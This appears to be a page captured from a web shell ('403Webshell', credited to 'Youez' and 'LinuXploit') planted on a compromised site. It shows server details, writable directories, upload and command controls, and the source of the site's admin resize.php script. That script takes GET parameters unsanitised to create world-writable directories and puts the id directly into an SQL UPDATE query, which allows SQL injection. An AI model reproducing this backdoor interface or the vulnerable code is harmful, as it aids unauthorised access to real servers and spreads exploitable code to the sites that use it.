403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/admin/resize.php
<?php 

require($_SERVER['DOCUMENT_ROOT']."/_config.php");
require($_SERVER['DOCUMENT_ROOT']."/fnk/thumbfnc.php");
require($_SERVER['DOCUMENT_ROOT']."/fnk/fnc.php");

$new_dir = $_GET["dir"];
$asset_id = $_GET["id"];
$media = $_GET["media"];

		$image_type = 2;
		

		mkdir_recursive($new_dir."/l/", 0777);
		chmod($new_dir."/l/", 0777);
		mkdir_recursive($new_dir."/m/", 0777);
		chmod($new_dir."/m/", 0777);
		mkdir_recursive($new_dir."/s/", 0777);
		chmod($new_dir."/s/", 0777);
		mkdir_recursive($new_dir."/t/", 0777);
		chmod($new_dir."/t/", 0777);		
		mkdir_recursive($new_dir."/zip/", 0777);
		chmod($new_dir."/zip/", 0777);



	$images_folder = '';
	$dh='';
	 $images_folder = ROOT. "/images/galleries/".$asset_id."/";	
	
	
	// for the auto thumbnail if uploaded
	$thumbs_folder = ROOT. "/images/assets/$media/$asset_id/";
	$max_x = 150;
	$max_y = 229;
	$p_counter = 0;
	if (is_dir($images_folder)) {
	
	    if ($dh = opendir($images_folder)) {
		
		
	        while (($file = readdir($dh)) !== false) {
				if($file =='featured.jpg') {
					$p_counter++;
					$from_name = $file;
				
					$max_x = 65;
					$max_y = 98;
					$to_name = $asset_id."_very_sm.jpg";
					include("thumb.php");				
				
					$max_x = 150;
					$max_y = 229;
					$to_name = $asset_id."_sm.jpg";
					include("thumb.php");
				
					$max_x = "680";
					$max_y = "367";
					$to_name = $asset_id.'_big.jpg';
					include("thumb.php");					
					
				}
	        }
	        closedir($dh);
	    }
	}	


	
	
	$thumbs_folder = ROOT. "/images/galleries/".$asset_id."/t/";
	$max_x = 185;
	$max_y = 300;
	$p_counter = 0;
	if (is_dir($images_folder)) {
	
	    if ($dh = opendir($images_folder)) {
		
	        while (($file = readdir($dh)) !== false) {
				if(is_file(ROOT. "/images/galleries/".$asset_id."/".$file)) {  // && !is_dir($file)
					 $p_counter++;
				
					$to_name = $file;
					$from_name = $file;
					include("thumb.php");
				}
	        }
	        closedir($dh);
	    }
	}	

	$thumbs_folder = ROOT. "/images/galleries/".$asset_id."/l/";
	
	$max_x = 2800;
	$max_y = 2800;
	
	if (is_dir($images_folder)) {
	    if ($dh = opendir($images_folder)) {
	        while (($file = readdir($dh)) !== false) {
				if(is_file(ROOT. "/images/galleries/".$asset_id."/".$file)) {
					$to_name = $file;
					$from_name = $file;
					
					include("thumb.php");
				}
	        }
	        closedir($dh);
		}
	}	
	
	$thumbs_folder = ROOT. "/images/galleries/".$asset_id."/m/";
	
	$max_x = 1024;
	$max_y = 1024;
	
	if (is_dir($images_folder)) {
	    if ($dh = opendir($images_folder)) {
	        while (($file = readdir($dh)) !== false) {
				if(is_file(ROOT. "/images/galleries/".$asset_id."/".$file)) {
					$to_name = $file;
					$from_name = $file;
					
					include("thumb.php");
				}
	        }
	        closedir($dh);
		}
	}
	
	$thumbs_folder = ROOT. "/images/galleries/".$asset_id."/s/";
	
	$max_x = 800;
	$max_y = 800;
	
	if (is_dir($images_folder)) {
	    if ($dh = opendir($images_folder)) {
	        while (($file = readdir($dh)) !== false) {
				if(is_file(ROOT. "/images/galleries/".$asset_id."/".$file)) {
					$to_name = $file;
					$from_name = $file;
					include("thumb.php");
				}
	        }
	        closedir($dh);
	    }
	}
	

	


	if($p_counter != 0)
		$connection->update("update assets set photos_count = '$p_counter' where asset_id = '$asset_id'");
		
		?>
<div align="center" class="style2" style="border-top:none">

<a href="javascript:window.close()">Thank You! (click here to close)</a></div>

Youez - 2016 - github.com/yon3zu
LinuXploit